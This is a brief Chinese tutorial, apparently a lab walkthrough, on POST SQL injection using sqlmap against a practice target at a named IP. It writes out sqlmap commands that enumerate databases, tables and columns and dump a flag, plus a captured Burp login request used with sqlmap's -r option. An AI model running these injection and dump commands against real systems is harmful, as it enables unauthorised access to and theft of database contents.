POST注入之sqlmap

POST注入
方法一加—form跑數據庫
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs
跑出數據庫後查詢表名 假設庫名是error
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs -D error —tables
獲得表名後查詢字段 字段名error_flag
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs -D error -T error_flag —columns
跑字段值 值是flag 加—dump拿到數據
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs -D error -T error_flag -C flag —dump
方法二
用BURP抓包後保存數據包這裏保存爲1.txt文件
抓包前
POST /Pass-05/index.php HTTP/1.1
Host: 59.63.200.79:8815
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://59.63.200.79:8815
Connection: close
Referer: http://59.63.200.79:8815/Pass-05/index.php
Upgrade-Insecure-Requests: 1

username=admin&password=admin&submit=%E7%99%BB%E5%BD%95

打開保存數據包文件1.txt
抓包後在認爲存在注入的地方打
POST /Pass-05/index.php HTTP/1.1
Host: 59.63.200.79:8815
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://59.63.200.79:8815
Connection: close
Referer: http://59.63.200.79:8815/Pass-05/index.php
Upgrade-Insecure-Requests: 1

username=1&password=1&submit=%E7%99%BB%E5%BD%95
用到-r的參數 後面的和方法1同樣跑
sqlmap.py -r C:\Users\ceshi\Desktop\1.txt.txt —dbs